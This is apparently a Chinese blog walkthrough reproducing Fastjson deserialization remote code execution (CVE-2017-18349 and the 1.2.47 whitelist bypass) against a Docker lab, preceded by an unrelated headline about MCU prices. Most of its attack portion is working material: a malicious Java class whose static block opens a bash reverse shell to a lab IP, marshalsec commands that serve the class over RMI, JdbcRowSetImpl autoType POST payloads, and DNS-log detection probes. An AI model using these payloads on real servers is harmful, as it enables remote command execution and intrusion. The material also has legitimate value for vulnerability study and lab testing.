1. 程式人生 > 資訊 >Yole:MCU 價格今年繼續上漲,2026 年前不太可能大幅回落

Yole:MCU 價格今年繼續上漲,2026 年前不太可能大幅回落

Fastjson漏洞復現

目錄

簡介

fastjson

Fastjson 是一個 Java 庫,可以將 Java 物件轉換為 JSON 格式,當然它也可以將 JSON 字串轉換為 Java 物件。Fastjson 可以操作任何 Java 物件,即使是一些預先存在的沒有原始碼的物件。

大致意思是可以實現json物件與JavaBean物件的轉換,實現JavaBean物件與json字串的轉換,實現json物件與json字串的轉換。

JNDI

JNDI是 Java 命名與目錄介面(Java Naming and Directory Interface),在J2EE規範中是重要的規範之一。JNDI提供統一的客戶端API,為開發人員提供了查詢和訪問各種命名和目錄服務的通用、統一的介面,可以用來定位使用者、網路、機器、物件和服務等各種資源。比如可以利用JNDI再區域網上定位一臺印表機,也可以用JNDI來定位資料庫服務或一個遠端Java物件。JNDI底層支援RMI遠端物件,RMI註冊的服務可以通過JNDI介面來訪問和呼叫。

JNDi是應用程式設計的Api,JNDI可以根據名字動態載入資料,支援的服務主要有以下幾種:

DNS、LDAP、CORBA物件服務、RMI

RMI

RMI(Remote Method Invocation)是專為Java環境設計的遠端方法呼叫機制,遠端伺服器實現具體的Java方法並提供介面,客戶端本地僅需根據介面類的定義,提供相應的引數即可呼叫遠端方法。

RMI依賴的通訊協議為JRMP(Java Remote Message Protocol ,Java 遠端訊息交換協議),該協議為Java定製,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。在RMI中物件是通過序列化方式進行編碼傳輸的。RMI服務端可以直接繫結遠端呼叫的物件以外,還可通過References類來繫結一個外部的遠端物件,當RMI綁定了References之後,首先會利用Referenceable.getReference()獲取繫結物件的引用,並在目錄中儲存,當客戶端使用lookup獲取對應名字時,會返回ReferenceWrapper類的代理檔案,然後會呼叫getReference()獲取Reference類,最終通過factory類將Reference轉換為具體的物件例項。

區別

  1. 反序列化常用的兩種利用方式,一種是基於rmi,一種是基於ldap。

  2. RMI是一種行為,指的是Java遠端方法呼叫。

  3. JNDI是一個介面,在這個介面下會有多種目錄系統服務的實現,通過名稱等去找到相關的物件,並把它下載到客戶端中來。

  4. ldap指輕量級目錄服務協議。

基於rmi的利用方式:適用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前; 在jdk8u122的時候,加了反序列化白名單的機制,關閉了rmi遠端載入程式碼。 基於ldap的利用方式,適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。 在Java 8u191更新中,Oracle對LDAP向量設定了相同的限制,併發布了CVE-2018-3149,關閉了JNDI遠端類載入。 可以看到ldap的利用範圍是比rmi要大的,實戰情況下推薦使用ldap方法進行利用。

漏洞原理

如果我們可以控制JNDI客戶端中傳入的url,就可以起一個惡意的RMI,讓JNDI來載入我們的惡意類從而進行命令執行。

我們來看一下References,References類有兩個屬性,className和codebase url,className就是遠端引用的類名,codebase決定了我們遠端類的位置,當本地classpath中沒有找到對應的類的時候,就會去請求codebase地址下的類(codebase支援http協議),此時如果我們將codebase地址下的類換成我們的惡意類,就能讓客戶端執行。

ps:在java版本大於1.8u191之後版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能夠從指定codebase中下載位元組碼。

整個利用流程如下:

1.首先開啟HTTP伺服器,並將我們的惡意類放在目錄下
2.開啟惡意RMI伺服器
3.攻擊者控制url引數為上一步開啟的惡意RMI伺服器地址
4.惡意RMI伺服器返回ReferenceWrapper類
5.目標(JNDI_Client)在執行lookup操作的時候,在decodeObject中將ReferenceWrapper變成Reference類,然後遠端載入並例項化我們的Factory類(即遠端載入我們HTTP伺服器上的惡意類),在例項化時觸發靜態程式碼片段中的惡意程式碼

CVE-2017-18349

fastjson 1.2.24 反序列化導致任意命令執行漏洞

漏洞簡介

fastjson在解析json的過程中,支援使用autoType來例項化某一個具體的類,並呼叫該類的set/get方法來訪問屬性。通過查詢程式碼中相關的方法,即可構造出一些惡意利用鏈。

漏洞復現

執行測試環境:

docker-compose up -d

環境執行後,訪問http://your-ip:8090即可看到JSON格式的輸出。

我們向這個地址POST一個JSON物件,即可更新服務端的資訊:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"karsa", "age":22}'

此時返回json格式的請求結果,沒報404,正常情況下說明存在該漏洞。


kali安裝java環境

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

編譯惡意類程式碼

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

搭建http服務傳輸惡意檔案

python -m SimpleHTTPServer 1337

反序列化

利用java 反序列化利用工具 marshalsec

git clone https://github.com/mbechler/marshalsec.git 下載marshalsec
apt-get install maven 安裝maven
mvn clean package -DskipTests 使用maven編譯marshalsec成jar包

啟動RMI伺服器

然後藉助marshalsec專案,啟動一個RMI伺服器,監聽9999埠,並制定載入遠端類

TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.211.147:1337/#TouchFile" 9999

(這裡如果要啟動LDAP服務的話,只需把上面命令中的RMI改成LDAP即可)


傳送Payload

使用BP抓包,並寫入poc(請求包裡面請求方式改成post,Content-Type改成application/json):

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.211.128:9999/TouchFile",
        "autoCommit":true
    }
}

成功建立 success目錄

反彈shell

重新制作惡意程式碼檔案

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.211.147/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

成功反彈shell

Fastjson 1.2.47 遠端命令執行漏洞

漏洞簡介

Fastjson是阿里巴巴公司開源的一款json解析器,其效能優越,被廣泛應用於各大廠商的Java專案中。fastjson於1.2.24版本後增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令。

漏洞復現

執行測試環境:

docker-compose up -d

環境執行後,訪問http://your-ip:8090即可看到JSON格式的輸出。

復現過程與前文大致相同,首先編譯並上傳命令執行程式碼,然後藉助marshalsec專案,啟動一個RMI伺服器,監聽9999埠,並制定載入遠端類TouchFile.class,最後向靶場傳送payload

POST / HTTP/1.1
Host: 192.168.211.128:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 265

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.211.147:9999/Exploit",
        "autoCommit":true
    }
}

成功反彈shell

漏洞檢測

未知目標是否使用 Fastjson ,但站點有原始報錯回顯

如果站點有原始報錯回顯,可以用不閉合花括號的方式進行報錯回顯,報錯中往往會有fastjson的字樣

{
    "@type":"java.net.Inet4Address",
    "val":"dnslog"

如上圖所示報錯,JSON parse error: type not match

無回顯,通過DNS回顯的方式盲區分 Fastjson 和 Jackson

{"zeo":{"@type":"java.net.Inet4Address","val":"kf0fbs.dnslog.cn"}}